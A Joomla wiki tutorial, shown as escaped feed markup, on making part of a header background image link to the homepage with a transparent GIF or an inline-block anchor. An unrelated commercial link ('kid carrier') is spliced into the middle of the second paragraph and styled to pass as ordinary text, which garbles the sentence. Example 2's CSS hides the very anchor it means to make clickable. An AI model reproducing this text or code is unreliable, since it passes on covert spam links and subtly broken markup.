Okay, lets say you have a mostly finished template, with a typical corporate layout: A header, a content body area, and a footer. In the header you have placed a background image with a big company logo and some nice artwork next to it, with some dynamic content on top of the bottom right corner of the background image.&lt;br /&gt;
Suddenly you realise that a click on the company logo part of that background image &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; should bring the user back to the homepage. Usually you would cut out the image and place it directly inside the link. However you don&#039;t have enough time to cut up the image and re-work your template accordingly, so what you need is a quick-fix.&lt;br /&gt;
&lt;br /&gt;
At this point your HTML structure might look something like this:&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;div id=&amp;quot;site&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;full-width-header&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;amp;lt;div id=&amp;quot;header-content&amp;quot;&amp;gt;We love using Joomla!&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;body-content&amp;quot;&amp;gt;OSM saves the world!&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;footer-content&amp;quot;&amp;gt;(c) the really cool web-designer&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And your CSS like this:&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
#full-width-header {&lt;br /&gt;
    background: url(header-logo.jpg);&lt;br /&gt;
    width: 800px;&lt;br /&gt;
    height: 172px;&lt;br /&gt;
}&lt;br /&gt;
#header-content {&lt;br /&gt;
    position: relative;&lt;br /&gt;
    float: right;&lt;br /&gt;
    width: 400px;&lt;br /&gt;
    height: 172px;&lt;br /&gt;
    vertical-align: bottom;&lt;br /&gt;
    text-align: right;&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Legitimate uses for the following technique might include things like tab-interfaces where the tabs should be able to stretch and still have a background image, or blog-skins which only differ in CSS.&lt;br /&gt;
&lt;br /&gt;
== How to do it ==&lt;br /&gt;
&lt;br /&gt;
First: You can&#039;t just copy the #header-content div, position it over the logo, make the content invisible and enclose it in an anchor-tag. That would be broken HTML, because you can&#039;t place block-level elements like div inside anchor tags.&lt;br /&gt;
&lt;br /&gt;
You can however enclose a stretched, one-pixel, transparent GIF image in anchor tags (as per example one) if you have to support old browsers. Otherwise you can simply turn the anchor itself into an inline-block using CSS 2.1 (as per example two).&lt;br /&gt;
&lt;br /&gt;
Example 1 (pre CSS 2.1) HTML:&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;div id=&amp;quot;site&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;full-width-header&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;amp;lt;a href=&amp;quot;/&amp;quot;&amp;gt;&amp;amp;lt;img src=&amp;quot;transparent.gif&amp;quot; id=&amp;quot;home-link&amp;quot; alt=&amp;quot;Nav: Home&amp;quot; /&amp;gt;&amp;amp;lt;/a&amp;gt;&lt;br /&gt;
        &amp;amp;lt;div id=&amp;quot;header-content&amp;quot;&amp;gt;We love using Joomla!&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;body-content&amp;quot;&amp;gt;OSM saves the world!&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;footer-content&amp;quot;&amp;gt;(c) the really cool web-designer&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example 1 (pre CSS 2.1) CSS:&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
#full-width-header {&lt;br /&gt;
    position: relative; /* necassary to&lt;br /&gt;
        absolute-position the child-element&lt;br /&gt;
        #home-link relative to the header */&lt;br /&gt;
    background: url(header-logo.jpg);&lt;br /&gt;
    width: 800px;&lt;br /&gt;
    height: 172px;&lt;br /&gt;
}&lt;br /&gt;
#home-link {&lt;br /&gt;
    position: absolute;&lt;br /&gt;
    width: 200px;    /* width of the logo */&lt;br /&gt;
    height: 172px;   /* height of the logo */&lt;br /&gt;
    top: 0; left: 0; /* top-left corner of logo */&lt;br /&gt;
    border: 0;&lt;br /&gt;
    float: left;&lt;br /&gt;
}&lt;br /&gt;
#header-content {&lt;br /&gt;
    position: relative;&lt;br /&gt;
    float: right;&lt;br /&gt;
    width: 400px;&lt;br /&gt;
    height: 172px;&lt;br /&gt;
    vertical-align: bottom;&lt;br /&gt;
    text-align: right;&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 2 (CSS 2.1) HTML:&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;div id=&amp;quot;site&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;full-width-header&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;amp;lt;a href=&amp;quot;/&amp;quot; id=&amp;quot;home-link&amp;quot;&amp;gt;Home&amp;amp;lt;/a&amp;gt;&lt;br /&gt;
        &amp;amp;lt;div id=&amp;quot;header-content&amp;quot;&amp;gt;We love using Joomla!&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;body-content&amp;quot;&amp;gt;OSM saves the world!&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;amp;lt;div id=&amp;quot;footer-content&amp;quot;&amp;gt;(c) the really cool web-designer&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example 2 (CSS 2.1) CSS:&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
#full-width-header {&lt;br /&gt;
    position: relative; /* necassary to&lt;br /&gt;
        absolute-position the child-element&lt;br /&gt;
        #home-link relative to the header */&lt;br /&gt;
    background: url(header-logo.jpg);&lt;br /&gt;
    width: 800px;&lt;br /&gt;
    height: 172px;&lt;br /&gt;
}&lt;br /&gt;
#home-link {&lt;br /&gt;
    position: absolute;&lt;br /&gt;
    display: inline-block;&lt;br /&gt;
    width: 200px;    /* width of the logo */&lt;br /&gt;
    height: 172px;   /* height of the logo */&lt;br /&gt;
    top: 0; left: 0; /* top-left corner of logo */&lt;br /&gt;
    border: 0;&lt;br /&gt;
    float: left;&lt;br /&gt;
    visibility: hidden;&lt;br /&gt;
}&lt;br /&gt;
#header-content {&lt;br /&gt;
    position: relative;&lt;br /&gt;
    float: right;&lt;br /&gt;
    width: 400px;&lt;br /&gt;
    height: 172px;&lt;br /&gt;
    vertical-align: bottom;&lt;br /&gt;
    text-align: right;&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Tutorials]][[Category:Templates]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
</feed>